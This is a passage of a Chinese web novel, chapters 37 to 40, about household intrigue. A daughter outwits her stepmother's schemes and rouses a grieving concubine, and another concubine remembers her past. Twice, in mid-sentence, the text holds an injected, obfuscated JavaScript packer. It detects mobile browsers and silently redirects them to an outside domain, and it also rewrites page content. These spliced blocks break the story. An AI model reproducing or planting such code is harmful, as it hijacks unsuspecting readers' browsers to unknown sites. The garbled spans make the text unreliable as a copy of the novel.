到了家里,刚巧遇到李珺下值回来,看到众人沉默地进门,李珺好奇地发问:“这是怎么了?今儿不是说去吃喜酒么,怎么个个看着不高兴?” “爹!今儿大姐姐在外头和人说,说二哥哥到我们后宅里来,不知是跟我们谁议亲呢!”有些话孙大娘子不好说,婉淑嘴巴一扁,却像是受了天大委屈一般,开口就对李珺哭着说,“这话要是传出去,女儿以后也没脸出门见人了……哇!” 李珺一听,顿时大惊,不可置信地看向关怀素问:“婉玉,你可真说了这话?!” 婉淑这一手颠倒黑白的功夫,十分老辣。 关怀素瞬间想,在她不知道的时候,姐姐不知道多少次承受了这种倒打一耙的冤屈和耻辱。 垂下眸子,关怀素深呼吸,而后死死咬一口舌尖,疼的立刻眼圈一红,眼泪瞬间“吧嗒吧嗒”地一连串落下。 “婉玉,你别哭,这到底是怎么回事?”李珺本来非常生气,因为家里三个女儿等人随便选,这话说出去实在是太难听了。 婉蓉今儿没在大姐姐身上讨到便宜,本来心里就憋着火,这会儿听到婉淑开口颠倒黑白,立刻便假哭着拉住李珺的手说:“爹爹,我也不活了,大姐姐今儿说这话,岂不是说的我李家姑娘巴着人家……丢**了,我也再不想出门见人了呜呜呜……” 说着,婉蓉捂着帕子,故意大哭起来。 李珺皱眉,沉声问:“都不许哭了,把话说清楚,到底是怎么回事?” “确实是我说的,赵二哥哥进了内宅见我们三人,是要选二妹妹做妻,还是选三妹妹。”关怀素含泪说完,立刻满脸泪水指着婉蓉怒声说:“可是今日母亲带我们与小姨母见面,席间有个不认识的夫人,那夫人的儿子只进门跟众人问了个好,二妹妹就胡乱攀咬,说母亲这是在商谈我的婚事!” 关怀素哭着说:“茶馆厢房隔墙有耳,旁边两侧若是有人,绝对听得清清楚楚,我若是不说话,只怕明日就是满城风雨!” 婉蓉立刻哭着说:“是,大姐姐是受委屈了,可是妹妹我坐在一边又没有招惹你,你怎地连妹妹也一股脑拖进去说?” 关怀素擦了擦脸,对李珺行礼说:“父亲明鉴,实在是婉玉和二妹妹吵嘴来去几次,二妹妹一直不停,也无人劝阻,婉玉一时心急,只能口不择言了。” 这话简直就是直指孙大娘子和婉淑在旁边看热闹了。 此话一出,本来等着女儿和婉蓉告状的孙大娘子立刻坐不住了,她却并不解释,只攥紧帕子哽咽对李珺说:“是我的不是,作为主母,看顾不好孩子们……请夫君责罚。” 孙大娘子这一请罪,关怀素心中一凛。 她早知道孙大娘子不是个简单角色,但是万万没想到,这孙大娘子居然如此厉害,这个时候若是吵嘴,或是为自己分辩,怎么都不好自证清白。 但是反而她这副样子,反而会让人心疼她不容易。 果然李珺本来带着愠怒的神色,在看到孙大娘子主动请罪之时立刻消失。 他看着孙大娘子,脑中反而回想到了这些年孙大娘子的不易,又看到婉蓉虽拿着个帕子在哭,但是脸上并无几分真切悲伤,而一切的起因,其实就是婉蓉说话不对在先。 李珺叹了口气,扶起孙大娘子,温声说:“原是我的不是,你本就是这个家的主母,家里的孩子合该都听你的教导才是,也是我这些年太疼宠这些孩子,反倒是让他们心中没了礼数,行事也益发没了章法。” 李珺说:“这样,家里三个姑娘也到了相看人家的年纪,过几日我便找一下,看看有没有懂规矩的嬷嬷,到时候请一两个老成些的好好教导她们规矩礼节,其他的,还得靠你这个母亲来看管了,免得这一日日的没大没小,出门见人都敢胡言乱语。” 说到最后一句,也是对着婉蓉说的。 婉蓉登时惴惴不安地捏着帕子,一时不敢出声。 “多谢老爷体谅!”孙大娘子脸上带着感动,被扶着站起来,李珺显然还有话要跟大娘子说,便让她们三个回屋去歇息。 第三十八章 激将 关怀素走到后院,正要进自己院子,突然听到一道凄厉的声音大喊:“你们这些丧良心的!往日我们小娘好的时候,对你们可都不薄,如今我家小娘想请个郎中,你们拦着都不许我通传!” 关怀素转身,便看到对面院子门口站着个丫鬟,看着十**岁,正哭着指着倒座那边几个婆子破口大骂。 “姑娘,对面住着的是宁小娘,说是去年才接到府里的良妾,是京师附近的农家女,年头查出来身孕没保住,一直在休养。”丁妈妈正迎出来,见此情况立刻说,“先头说这宁小娘极其受宠,差点连崔小娘的风头都压过去了,没想到如今闹到这样。” 关怀素听完,走过去远远地问:“发生什么事情了?” 那丫鬟本带着哭腔在骂人,见有人发问,心里一喜,再一看是大姑娘,丫鬟便心凉了半截。 她认得大姑娘,素来是个不顶事儿的,十足的软包,只怕也不中用。 但如今也就大姑娘能问一句,丫鬟便也只哭着说:“大姑娘,我家小娘小月子里没养好,如今还在断续落红,我日日求着想请个郎中,可这些婆子都不肯与我们通报,还拦着不许我们去前面院子找老爷……” 关怀素一听,立刻便对身边的丁妈妈说:“丁妈妈,你立刻拿钱带人去请郎中!” 又对柳叶说:“柳叶,你去前头院子里,跟父亲身边的人禀告一下,说清楚宁小娘屋里的事情。” 此话一出,那丫鬟大惊,紧接着又是狂喜,然后跪下来疯狂对着关怀素磕头,连声说:“多谢大姑娘,多谢大姑娘!” “姑娘,老爷先前吩咐过,不许小娘再轻狂**,等小娘知错了自己去请罪,才许出来……”拦着人的婆子里,有个是上次跟着去流云台寺的长脸婆子,见关怀素要管事,立刻上前轻声解释,“老爷先前发了大火,说是谁说都要打板子的!” 关怀素完全没想到居然还有这种事情,她看着地上跪着的丫鬟,到底是人命关天,关怀素立刻便说:“走,我们进去看看!” 那丫鬟本来听婆子这么说,脸上已经露出绝望之色,却没想到大姑娘竟然还要进门查看,立刻狂喜,连滚带爬地站起来,一路带着关怀素往院子里走。 “姑娘……”门口的婆子还想提醒,关怀素却摇了摇头,温声说,“多谢妈妈好意,只是父亲只说了不许出来,但也没说不许人进去,到底是人命关天的大事,我去看看,无事的。” 说着关怀素抬脚进去,入目就是一片散碎落叶,进屋后里面黑灯瞎火,那天青纱的窗户都已经褪色破溃,屋子里又冷又黑还漏风,床上被子隆起一小块,里面躺着个人。 这画面与姐姐当日垂死十分相似,叫关怀素瞬间鼻子一酸,连忙几步走过去,看到丫鬟扶起床褥上躺着的人时,关怀素吓得差点一个趔趄! 那床榻上躺着的女子,居然轮廓眉眼与姐姐和自己都有五分相似! 旁边柳叶也吓了一跳,丁妈妈早年在庄子上曾见过关怀素的母亲,这会子更是吓得脱口而出:“关娘子?” 关怀素听到丁妈妈说话,才猛地瞬间了解了,为何床上这女子与自己和姐姐有五分相似——她像的是自家阿娘。 关怀素与姐姐的眉眼有父亲李珺的影子,是更为清冷的淡眉,因此气质显得清冷一些,阿娘则是凤眼黛眉,整个人更加明艳飒爽。 眼前这个女子虽然病重,但是她听到动静微微睁开眼睛看过来的时候,整个人就像是褪色的美人图被点上了色彩一般,看着动人至极。 久病本就憔悴,但她却依然极其动人,可见好了之后,不知能有多惊人的风姿。 “小娘,大姑娘听说了你的病情,特地来看看你。”丫鬟扶着她解释。 宁小娘努力挤出一个笑来,想说什么,却额头冒出虚汗,一直打冷战,显然难受到了极点。 “小娘别说话,快些安静休息。丁妈妈,你速速出去找个好郎中来,柳叶,带我院子里的人,叫大家伙把这屋里打扫干净,外头窗户上的挡风窗帘子全都挂上,屋里炭盆都点起来!”关怀素连声吩咐完,又对那大丫鬟温声说,“你叫什么名字?” “回大姑娘,奴婢云青。”云青眼含热泪跪下说,“多谢大姑娘救我家主子,大姑娘大恩大德,云青无以为报……” 关怀素拉起她,说:“现在不是说这些的时候,一会儿郎中来了,若是还缺什么,你千万不要为难,立刻便来我院子里拿!知道吗?” 云青听到这里,心里最后一块大石放下,连忙哭着点头。 安排完,关怀素不好惊扰宁小娘,便自回素心居。 “姑娘,对面的小娘会死吗?”才进门,小荷伸头出来,脸上带着担忧问关怀素。 “不会的。”关怀素掩门,反手牵着小荷往书房里走,一边温声说,“这人啊,只要自己想活,老天爷也不会随便把她收走的。” 小荷有些懵懂地点点头,又低声说:“她好可怜……我们村里有个坏大伯,大伯的娘亲日日做活累病了,大伯不舍得银钱,就把奶奶关在茅房里,每日只给一顿饭食,也不给被褥,还骂奶奶怎么不早点死,浪费家里吃食……” 这种事情,关怀素也听说过,这世间总是不缺乏狼心狗肺的人的,哪怕是慈母自小抚养,也难保不会养出这样狼心狗肺的孩子。 “后来呢?”关怀素只继续温声问难过的小姑娘。 “后来奶奶**,有人偷偷报告了官府,坏大伯被抓走了!”小荷说到这里,露出开心的神色,声音都高了一截,说,“坏大伯被抓走,大伯娘带着两个孩子高兴的不行,没有人喜欢他,都希望他快些死在外面!” “姑娘,宁小娘会好起来吗?”小荷开心完,又担心地问。 关怀素轻叹一声,说:“这得看宁小娘自个儿了……” 宁小娘病得严重是一回事,主要是她身上没有任何求生的意志。 云青听说请大夫,喜极而泣,宁小娘自己却一直眉头都没动一下,倒像是……存了死志。 若真是如此,只怕药石难医。 关怀素叹了口气,却没想到小荷说着说着,突然说:“姑娘今日身上好香!” 关怀素一低头,嗅到一股浅淡清晰的龙涎香的味道。 她和宋兰用的香粉都是寻常之物,自然比不上龙涎香余韵悠长。到了夜间香粉气味散尽,竟让这龙涎香的最后一丝味道凸显出来。 好在已经回屋了。 关怀素松了口气,又想到白日小侯爷那张全无血色的容颜来,干脆便去了书房又默了一些调理的药膳,前后细细密密写满了随症状如何搭配药物调理饮食与平素要注意何事。 她快写完的时候,柳叶忙回来了,找过来就看到她写的密密麻麻的几张纸,凑过来一看便了然地说:“姑娘在给侯爷写调理方子呢?” “是啊。”关怀素抄完最后几句话,才轻叹一口气,说,“那药吃起来烧心,搭配这些调理方子,才能舒服些,他如今瞧着一阵风都能吹倒,精细些总是好些。” 说完,关怀素轻叹一声,低声感慨:“世人都说他生而荣华富贵,我瞧着他反倒是不如普通人自在。” “姑娘你抄好,明儿个我就亲自去给侯爷送去。”柳叶拿起纸晾干墨迹,说,“当年咱们在北疆,还多亏侯爷救了性命呢。如今姑娘帮他,也是全了这份恩情。” “没错,我正是如此想。”关怀素颔首。 两人说着话,丁妈妈回来了,带回了夕食,也带回来了关于宁小娘的事儿。 “姑娘,听说宁小娘之所以被禁足,是因为先前与老爷吵架,说肚子里的孩子是被崔小娘害死的!”丁妈妈一进门,一边摆饭一边说。 关怀素一听,愣了一下,忙问:“怎么回事?” 丁妈妈便从头说起来。 原来对面宁小娘先头是京师八宝园一带的农家女,生得格外漂亮,可惜命苦,偏生在看人家的时候,家里爹出事儿了,摔断了腿。 恰好李珺与友人踏青,一见钟情,便亲自登门求娶。 为了家里生计,宁小娘就这么入了李家。 她去年夏日进的门,据说自那时候开始,李珺就免了宁小娘所有请安,院子里都由她做主,三日回门亲自陪着宁小娘回家,竟仿佛不像是纳了小娘,倒像是娶了正头娘子。 那院子门关上,不像是新妇入门,倒像是单门独户地与家里老爷过起了日子。 “那大娘子与崔小娘也能忍?”柳叶诧异地问。 “哦哟,何止是能忍!据说当日有什么好东西都主动送给宁小娘,宁小娘心中感激,还常在老爷面前说她们二人的好话。”丁妈妈摇头感慨说,“宁小娘也太实在了些,她当时只觉得家里人都特别和睦,怀孕之后也没想过其他的,只照常地吃用,当时她身边的一个妈妈说有个方子对孩子特别好,她竟也信了,日日吃着,没多久孩子就没了。” 丁妈妈说完,感慨道:“宁小娘真是太年轻了,来历不明的药方子也敢吃,后来郎中来诊脉,看了那方子,跟宁小娘说,那方子里有几味药材十分寒凉,妇人怀孕是最忌讳的。宁小娘想找那妈妈算账,那妈妈却早收拾包袱去崔小娘的庄子上做管事了……” 也就是到这个时候,淳朴的宁小娘才明白自己上当了。 但是她一个农家女,能怎么办?只能哭着把这一切告诉了李珺,宁小娘心心念念,觉得一直如此疼爱她的夫君一定会帮自己,帮他们的孩子。 却不知道是怎么回事,李珺听完大怒之后前去找崔小娘,大家都以为崔小娘这次要遭了,可没想到崔小娘不知做了什么,李珺没发火不算,还避着宁小娘。 等到宁小娘忍不住哭着去前院找李珺的时候,却刚巧撞上李珺正在与同僚会面。 家宅不宁的事情竟闹到了客人眼前,李珺大怒,回来之后申斥了宁小娘,呵斥问宁小娘可知错。 宁小娘心中愤恨,哪里肯认错,竟是昂着脖子与李珺大骂起来。 “宁小娘与老爷大吵一架,说——你别以为我不知道,你娶我就是因为我像先夫人!你与先夫人置气,害她在庄子上养胎、生产后没有良医惨死,我都听说了!难道你也要这样对我?!”丁妈妈说到这里,都忍不住嘶了口气。 别说是她,便是关怀素都忍不住抽了一口凉气。 一是惊诧宁小娘刚烈至极的脾性,二是关怀素意识到了一件事情——宁小娘如此说,许是知道一些当年母亲之死的细枝末节。 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“可惜了,若是小娘真一直喝不下汤药,只怕今年冬天就熬不过了吧?”关怀素温声说,像是在闲聊家常一样。 云青虽不明白大姑娘为何突然如此说,但是她心里也苦,便擦着眼泪哽咽地说:“可怎么办啊,小娘整日昏昏沉沉的,饭也吃不下、药也吃不下……我真的怕……” “是啊,好好的人,吃不下都熬不住,更别提这本身就虚的人了。”关怀素温声说着,突然说,“其实我早年间也遇到过这样的事情。” 云青一愣,茫然地“啊?”了一声。 关怀素说:“是真的,那家农家媳妇与丈夫感情甚笃,怀了孩子时,因与婆婆吵架气得太厉害了,没保住胎儿,后来还被家里郎君指责,她一时想不过,就吊**。” 云青不明白关怀素为啥突然和她说这个,茫然地说:“怎、怎么就至于这样呢?” “是啊,怎么就至于这样呢?”关怀素感慨地说,“大概她当时心里只想着,丈夫如此爱我,怎地对我如此冷酷,既然他不爱我了,我便死给他看,让他后悔。但是云青……” 关怀素看着云青,轻声问:“你知道后来那媳妇**之后,发生了什么事情吗?” “发、发生了什么?”云青问。 “那媳妇子**,她男人掉了两滴泪,也有人说了几句婆婆不对,对媳妇太刻薄了。”关怀素冷声说,“可是这也就是十天半月的功夫,后来一年后,那男人娶了新妇,生了孩子,那一家人每天欢声笑语,过得好不快活。倒是那媳妇的娘家人,她老娘哭得眼睛半瞎,她爹气恨男人家薄情寡义,带着儿子上门与男人打架,反被男人一家打了一顿,回来老父气不过女儿冤死,竟然生生气**,兄弟也被打的太狠落下病根,竟连重活儿也做不了了,没几年,家里便败落到卖儿卖女的地步,一家子骨肉离散了……” “天啊,那家人怎么那么狠,这可是亲家,**怎么都能下死手啊?!”云青听到这里,惊恐不已,连声说,“那媳妇死后有灵,只怕都要变成厉鬼回来报仇吧?!” “可惜啊,世上没有厉鬼不知道,但是那媳妇死都**,应当也不知道这身后事了吧。”关怀素轻声说,“只是不知道她若是泉下有知,会不会后悔自己求死行为。” “肯定会后悔啊!”云青连声说,“哪怕与那男人恩断义绝,好歹也不至于叫亲者痛仇者快吧!” “好一个亲者痛仇者快!”关怀素击掌,说,“可怜世上许多人,都在做亲者痛仇者快的事情。” 她说完,说:“天色晚了,我便回去了。” 云青不明白大姑娘好端端地过来与自己说这一番话到底是怎么回事,起身送关怀素,转身回屋就看到,床榻上几个月没动静的小娘,突然挣扎着趴在床边。 “小娘!小娘你醒了?!”云青大惊,还以为宁小娘是不舒服,连忙跑过去扶着她问,“小娘你可是哪里不舒服,可要看郎中?” “我、我饿了!”宁小娘枯瘦的手一把反手握住云青,嘶哑着嗓子,像是逼到绝境的野兽一般抓着云青,喘着气,虚弱又恶狠狠地说,“我要吃东西。” 云青一愣,紧接着狂喜,连声说:“哎!哎!大姑娘让厨房送来了参鸡汤,我放在炭盆上一直暖着,我这就给小娘你拿!!!” 云青端来温着的参鸡汤,宁小娘一口一口吞下去,足足喝了两碗,到后来甚至不需要云青喂,自己抖着手,一勺一勺地吃下去。 看得出来,她吃得十分艰难,但是宁小娘一直咬牙吃饱之后,才闭上眼睛,准备好好休息。 她还是很痛苦,想到腹中那个孩儿蹬腿的动静、想到自己如此期待第一个孩子……眼角还是有泪水成线一般落下。 但是她不能再哭了。 否则,大姑娘口中那媳妇一家,就是她的未来。 家里的父亲腿虽好了,但是到底做不得重活了,家里年迈老母和年幼弟妹如今都只能等着她、靠着她,若她不在了,他们一家只怕也要散了。 想到这里,宁小娘含着泪水,闭着眼睛,强迫自己入睡。 她要好好吃饭、好好睡觉,她要……好起来。 第三十九章 暗涌 关怀素回来用了夕食,便拿着杯饮子慢慢轻啜,一边沉默地思考,柳叶便问:“姑娘可是在为宁小娘的事情担心?” “不是,这事儿得她自己想通,我想的是父亲今儿说,让孙大娘子日后教导婉蓉的事。”关怀素轻声说,“父亲对孙大娘子愈发信任了。” 孙大娘子不是什么高门大户的主母,本身就是出身小户,放在她手下教导,并不能给家中女儿多增加什么光彩。而李家后宅,原先就是最不合礼数的,且不合礼数了十几年了。 崔小娘这些年都是自己教养一双儿女,李珺难道不知道把婉蓉送去大娘子那儿,会让崔小娘不开心、憋屈吗? 他定然是清楚的,可是他今儿却依然这么做了,这固然有婉蓉确实行事有些嚣张跋扈的关系,但是确实也反应了父亲其实也十分信重孙大娘子。 这对关怀素来说是个坏消息。 因为孙大娘子最近在打她婚事的主意,而今孙大娘子愈发得到父亲信任,愈发掌握后宅所有人的未来,那么对关怀素来说,越是受困。 “姑娘,时候不早了,可要泡脚准备安置了?”关怀素正在和柳叶说着这话,丁妈妈进来问。 看到关怀素还坐椅子上拿着紫苏饮子在喝,她愣了一下,说:“大晚上的,姑娘怎么衣衫首饰都没脱,还有什么事儿吗?” 柳叶就把方才关怀素说担心孙大娘子得势的事情给丁妈妈说了。 “哎哟哟我的好姑娘,我还以为什么大事,把我们诸葛在世一般的姑娘都难住了呢!唬我一跳!”丁妈妈摸着胸口,定了定神才凑过来,轻声对关怀素说,“姑娘,你放心,那些婆子都跟我说了,崔小娘也不是简单货色,西院外头伺候的杂役婆子跟我说,那崔小娘每月光做肚兜都不知花费多少钱财……哎呀呀,总之姑娘你等着,那崔小娘保准得扳回一城的!” 丁妈妈眉飞色舞说到一半,大概是突然想起来,面前的人不是乡下不讲究的寡妇老妪,而是千金闺秀,有些糟污下流话可不能在姑娘面前浑说,于是说到一半,生生止住了蓬勃的嚼舌根的欲望。 并且及时止住之后,丁妈妈还有些臊眉耷眼不好意思地说:“姑娘,我老婆子嘴上没个把门的,您别见怪。” 她以为关怀素会羞恼,斥责她什么话都胡咧咧,却没想到关怀素听着却八风不动,只憋着笑啜饮一口清茶。 旁边的柳叶倒是立刻跟着眉飞色舞起来,压低声音问丁妈妈:“妈妈,你打听到啥了?那崔小娘三十的人了,平常人家这个年纪的妾室应当都很少侍寝了,她难道还……” 丁妈妈看了一眼,发现关怀素虽不出声,但是也没阻止,顿时心中一定,立刻便压抑不住,挤眉弄眼地说:“哎哟,别看崔小娘过几年都是要做奶奶的人,她可下功夫呢,洗衣婆子说,崔小娘那一柜子的肚兜,好家伙,比寻常店铺里的款式还多!而且啊……” 丁妈妈犹豫了一下,到底忍不住,挤眉弄眼压低声音说:“我听西院外头伺候的老婆子说,她有次夜里值夜,刚巧里屋的婆子休假,换成她进去伺候,你们猜她听到什么?” “听到啥了?”柳叶紧张又好奇地问。 “听到那崔小娘声音娇的要滴出水,轻声喊老爷“珺哥哥,你看妙人的腰是不是不如当年细了?”。”丁妈妈学着那拉长的声调说话,并不娇媚,反而显得又几分滑稽。 但是想想,暖屋熏香、高床软枕,风韵不减的崔小娘放下一头乌发趴在床褥之中,露出大片雪白的背、拉长声音让人看她的腰,却只能衬的背后肚兜的细绳愈发色彩明艳……在场三人都想到那画面,顿时都觉得一股子道不尽的勾引人。 “哎哟,这真是……”柳叶就完全想到了那画面,忍不住低呼了一声,脸都羞飞起了红霞。 关怀素也是没想到,崔小娘白日虽看着妩媚了些,但是举止一直算得上是落落大方,没想到私下竟然是这样的。 “老婆子嘴碎!”丁妈妈说完觉得在两个未出阁的女儿家面前说这种私房话有些不太对路,于是作势立刻给了自己一巴掌,嘴里道恼。 “没事儿。”关怀素温声说:“我已经听明白了。” 她顿了顿,又说:“崔小娘能盛宠这些年,应当不只这点手段,先看看她如何行事吧。” 毕竟钟妈妈与崔小娘相处过一年多,到现在还会痛骂崔妙人是个狐狸精……想来崔小娘应该自有秘而不宣的本事,应当也不会那么容易被压下去。 反正最着急的怎么也不该是她。 想清楚之后,关怀素终于结束了这格外繁忙的一天,洗漱休息了。 而那边,西院里头,崔小娘得知婉蓉明儿开始要归大娘子管教的时候,气得“啪”地放下碗,连燕窝也不吃了,怒声问婉蓉:“你就答应了?!” 婉蓉也委屈得很,坐在椅子上发脾气说:“爹吩咐完就让我们走了,说是要和大娘子说话,哪里有我说话的份!” 崔小娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183315|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地捏着帕子站起来,在屋里来回走了好几圈,心里这股子邪火还没消下去,偏婉蓉又说:“小娘,爹爹说话不算话,他明明跟我说过,在李家,小娘就是我的娘,我只管跟着小娘教养就好!怎地如今都不算话了!” 这话无疑是火上浇油,崔小娘气得深呼吸了半晌,才算是勉强让火烧一般的脑子稍微清静下来。 她压着怒声说:“你个作死的,这会儿说这个话有什么意思?你白日怎地不跟你爹说?” 婉蓉还要说话,崔小娘却挥手说:“看到你这个窝囊样子我就生气,你快回自个儿屋里去,让我清静一下!” 这话说的,婉蓉更委屈了,生气地站起来怒声说:“小娘你总是这样,对我就不耐烦,弟弟每日来你就恨不得他一天都待在你屋里,从来不赶他!你这个偏心眼的!” 说完,婉蓉气哭了,擦了擦眼泪,转身生气地跑了出去。 差点没把崔小娘气得一个倒仰! “我真是上辈子作孽,生了这个绣花草包!”崔小娘气得压低声音啐了一口,饭也不吃了,只躺在榻上出神。 “小娘别气了,二姑娘性子直,不是故意与您这个母亲吵嘴的。”最得脸的姜妈妈看她心里难受,便轻声安慰。 “你不必替她说话,我自个儿生下来的种,我自晓得她是什么脾气。这丫头也就一张脸好看,若是与当年的我一样处境……”崔小娘冷笑一声,本来是想骂几句,话到一半,却不知为何没了声音。 只因崔小娘突然在这个瞬间想起了十几年前,她丰沛的、漂亮的、野心勃勃的少年岁月。 那时候她真的就想到了后来的一切吗? 她骂婉蓉只得一张脸,性子憨直又脾气火爆,整日不高兴就发脾气。 可是婉蓉是她肚子里出来的,婉蓉之所以是这个脾气,是因为……崔小娘早年间,其实也是这个脾气。 她曾经也是个烈火一般,喜怒都摆在脸上的年轻姑娘啊! 在这个沁冷的冬夜,崔小娘突然想起来,最初不是这样的,最初她那么小意委屈、步步为营……这里面固然有她聪慧、知道顺时而动。 可是最初的让她做这一切的,并不是任何别的东西。 而是那个曾经一心一意、满心满眼都是她的少年郎。 是崔妙人最最喜欢的、最爱的珺哥哥。 十几岁的崔妙人有多喜欢珺哥哥呢? 她甚至愿意为珺哥哥**。 第四十章 豆蔻往事 崔小娘被卖到李家的时候,才将将七岁。 家里孩子太多了,养不活多余的女儿,年纪最小的她最为标致,能卖个最好的价钱。 怕她被卖到花街柳巷,她娘牵着她的手,一路走了一天,走到了县城里,亲自把她交给了李家采买下人的老仆人手里。 崔小娘还记得,她被卖了五石谷子,然后就懵懵懂懂地跟着老管家回了李家。 就是在那里,崔小娘第一次见到了她的珺哥哥。 珺哥哥年少的时候就像是放着光一般,同样都是十来岁的男孩子,崔小娘在乡下见到的男孩不但光着上身满村子乱跑,还总是满身泥巴,身上泛着常年日晒又没有洗干净的斑驳,有些还挂着大鼻涕,愈发显得十分邋遢。 而珺哥哥不一样,珺哥哥皮肤白的跟雪一般,整整齐齐地穿着柔软的蓝色棉布圆领袍,腰间挂着香囊,见到她的时候,温柔地笑着说了一句:“哎哟,家里又添人了。” “珺儿你过来,你读书多,便来给这小丫头取个字吧。”当日老夫人拉着怯生生的她,笑着对李珺说。 “这妹妹生的好玉雪可爱,定是个机灵性子,便叫妙人吧。”李珺当日还有些少年人的腼腆,有些羞赧地说。 崔小娘当时懵懂,不明白珺哥哥为何害羞,直到她长大一点,经常奉老夫人的命在书房伺候,珺哥哥有时候休憩的时候,便会教她识得几个字,又偶尔也会跟她说一些诗书礼仪。 崔小娘算是就这样开蒙,她想要珺哥哥夸奖,不免就十分下功夫,而因为她下功夫,所以学得特别快,让李珺格外欣喜,觉得自己颇会教导人,不免就更愿意教导她。 而崔小娘学得多了,也会在珺哥哥的书房里拿几本闲书来看,她看到某个桥段里,表哥给表妹取小字,大家笑而不语,而后他们果然被家长定亲,喜结良缘的时候,长辈拿当年取笑,说了一句:“这女子小字,素来不是长辈赐字,就是夫君取,你这臭小子,当年你误打误撞,竟是应了今日姻缘。” 崔小娘看到这里,顿时才明白老夫人当日为何让珺哥哥给她取字。 当时是她到李家的第六年,早在日日陪伴之中,与李珺暗自彼此倾慕。 所以发现这个事情的时候,崔小娘猛地合上书,脸庞赤红,一时之间又是欣喜又是快活,激动得像是胸口里揣了只兔子一般,连着好几日都没睡好。 也是自那之后,崔小娘对待李珺愈发上心,两人虽然没戳破那层窗户纸,却情愫暗生。 老夫人对此乐见其成,还给了崔小娘一个陪嫁的素银手镯,言语之中暗示,再等两年,便让她去李珺的房里,好好伺候他。 那时候崔小娘满心都是娇羞与欢喜,她虽然知道自己的身份,必然没什么婚礼,也不会有明媒正娶。 可是珺哥哥喜欢她,她知道,崔小娘相信珺哥哥这么好的人,一定不会让自己受欺负,她先当了通房,日后若是有了一子半女,一辈子总也能安安分分地与珺哥哥厮守终身。 当日的崔小娘满心满眼都是喜悦,却没想到,十五岁李珺一鸣惊人,连中县试与府试头名,只要在院试之中拔得头筹,便能成了小三元佳话。 李家人自然满心欢喜,当时他们久居肇州乡下,并无什么防人之心,只打点行囊,老夫人叫身边得力的大丫鬟在家里打点家业,只带着管家与四五个健壮仆人,便一路出发,打算早点让李珺去考试。 只从乡下到府城,不过一日的距离,谁都没想到会遇到什么事情,全家坐着牛车从乡下去肇州府,结果在路上就遇到了一伙贼人,见了他们就喊打喊杀。 当时老夫人被吓得瘫软在车内,老管家吓得跌下牛车,直接磕在地上的石头上,当场便断了气。 另外几个健壮下人也在几个回合就被击杀,顿时只剩下了崔小娘与李珺二人。 眼见着这些人训练有素,冲过来想对李珺下手,崔小娘不知道从哪里来的悍勇血性,拼着快到面前泛着寒光的刀光,冲出车厢坐在车辙上,拔下簪子一簪子扎在了牛屁股上。 簪子深深扎入,本来就不安的牛吃痛,立刻嚎叫一声就横冲直撞地往前直冲,瞬间与贼人的雪亮刀刃擦头发而过,让崔小娘的鬓边落下一截青丝。 崔小娘心如鼓擂,死死抓着车辙,牛稍微停下她就拿簪子扎一下,没重复几次,就把贼人丢在了身后。 可是还没放下心来,道路颠簸一下,崔小娘直接被甩下牛车。 当日李珺吓得脸色惨白,想跳车救她,十三岁的崔妙人却一秒钟都没考虑,直接把簪子抛到车辙上,对李珺大吼:“珺哥哥,快,你带着夫人快跑!” 说完,她还怕李珺会回头救她耽误事情,一咬牙翻身就冲着陡峭的山坡直接滚了下去。 崔妙人自小最得意她这张脸,自到了李家,为了配得上珺哥哥,她更加在意维护脸和皮肤。 但是在那一刻,崔妙人什么都没想,锋利的碎石和尖锐的草木枯枝划破了她的皮肤,一路滚下去撞击过去,疼得她几次发出惨叫……可是崔妙人不后悔。 她只要想到珺哥哥逃走了,心中就充盈出无数的满足来。 断了一条腿,怕身后贼人发现踪迹追过来欺负自己,在山谷之中咬牙行走,最终疲惫地倒在山中时,是崔妙人这辈子最狼狈的时刻。 她疲惫惊恐、身上还有无数细小的伤口,腿疼得不行。 可是直到倒在山谷里、失去意识的那一刻,崔妙人脸上都带着笑容。 她当日觉得自己是真的要**,她只活了十三年,但是崔妙人觉得值得。 只要珺哥哥平安无事地活下去,那崔妙人就算是下地狱,也值得。 崔妙人从回忆里清醒过来,深吸一口气,突然站起来推开窗户问:“今儿好冷,外头怎么没光啊?” “如今入冬了,月亮都不太出来,自然没光了。”姜妈妈不知她为何如此发问,但还是回着话,然后轻声提醒,“小娘你腿脚不好,仔细冻着,一会儿晚上又发作起来。” 又轻声说:“小娘若是心里不舒服,何不把这事儿回禀给老夫人?” 老夫人对西院偏爱,这是全家上下都知道的事情。 但是崔妙人却嘴巴发苦,苦笑一声,说:“你不明白。老夫人明面上是偏疼我,可是这情分啊……就像书里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183316|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的镜中月、水中花,可做不得真。” 姜妈妈不解,崔妙人却摇摇头,轻声说:“上回老夫人交代的事儿我还没办好呢,大姑娘这**来跟鬼精一样,那院子针扎不进,迟迟找不到机会……这回又拿这种事情去说,老夫人只会烦心。” 说完,崔妙人深吸一口气,把披在身上的比甲脱掉,竟只穿着里头的那套中衣,直接掀开帘子走了出去。 “哎哟我的小娘啊,你这是在做什么啊?!”姜妈妈捡起比甲就冲出去,连忙就要把衣裳往崔小娘身上套,口里紧张地说,“知道您担心二姑娘吃亏,但是您这么折腾自己又是何苦?” 崔妙人抬头看不到月亮,只能看着院子里凋敝的桃树,她抬手挡住姜妈妈,摇摇头说:“不用穿,姜妈妈。” 